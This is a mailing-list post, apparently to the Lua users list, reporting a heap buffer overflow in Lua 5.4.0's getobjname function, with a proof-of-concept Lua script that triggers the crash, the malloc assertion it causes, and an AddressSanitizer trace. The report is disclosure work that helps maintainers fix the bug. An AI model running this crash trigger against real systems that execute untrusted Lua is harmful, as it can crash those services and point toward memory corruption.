[Date Prev][Date Next][Thread Prev][Thread Next] [Date Index] [Thread Index]

- **Subject**: **heap-buffer-overflow in getobjname**
- **From**: Rui Zhong <reversezr33@...>
- **Date**: Mon, 6 Jul 2020 21:58:07 -0400

Hi,
We found a heap buffer overflow in getobjname function.
Lua version:
Lua 5.4.0 Copyright (C) 1994-2020 Lua.org, PUC-Rio

See follow PoC:

```
----------
function
errfunc (  )
setmetatable (
{
}
,
{
   __gc = coroutine
}
)[xpcall
  ( function (  )function crash (  )function
    f ( p25, p26, p27, p28, p29, p30, p31, p32, p33, p34, p35, p36, p37, p38,
       p39, p40, p41, p42, p43, p44, p45, p46, p48, p49, p50,
       ... ) local a14 end f (  )(  )end for i = 1, 5
    do
    crash (  )end end,
    coroutine.
    wrap ( function (  )xpcall ( test, errfunc ) xpcall ( test, errfunc )
          end ) )]
    = load end coro =
        ( function (  )print ( xpcall ( test, errfunc ) ) end ) (  )
------------
```

Run this PoC with the original build lua will get
~/lua/lua poc.lua
lua: malloc.c:2394: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.

Asan log:

```
==================================================================
==28107==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000014c at pc 0x00000040e7cb bp 0x7ffd49fcd550 sp 0x7ffd49fcd540
READ of size 4 at 0x60200000014c thread T0
    #0 0x40e7ca in getobjname (/home/yongheng/lua_asan/lua+0x40e7ca)
    #1 0x40ec98 in varinfo (/home/yongheng/lua_asan/lua+0x40ec98)
    #2 0x411575 in luaG_typeerror (/home/yongheng/lua_asan/lua+0x411575)
    #3 0x4138bc in luaD_tryfuncTM (/home/yongheng/lua_asan/lua+0x4138bc)
    #4 0x41480d in luaD_call (/home/yongheng/lua_asan/lua+0x41480d)
    #5 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)
    #6 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)
    #7 0x415d70 in luaD_pcall (/home/yongheng/lua_asan/lua+0x415d70)
    #8 0x41ac34 in GCTM (/home/yongheng/lua_asan/lua+0x41ac34)
    #9 0x41e3de in singlestep (/home/yongheng/lua_asan/lua+0x41e3de)
    #10 0x42026e in luaC_step (/home/yongheng/lua_asan/lua+0x42026e)
   ...
   ...
==================================================================
```

Best,
Yongheng and Rui

- **Follow-Ups**:
  - **Re: heap-buffer-overflow in getobjname**, *William Ahern*
  - **Re: heap-buffer-overflow in getobjname**, *Andrew Gierth*

- Prev by Date: **Re: Stack overflow in luaO_pushvfstring**
- Next by Date: **heap-buffer-overflow in luaD_pretailcall**
- Previous by thread: **[ANN] luaposix 35.0 released**
- Next by thread: **Re: heap-buffer-overflow in getobjname**
- Index(es):
  - **Date**
  - **Thread**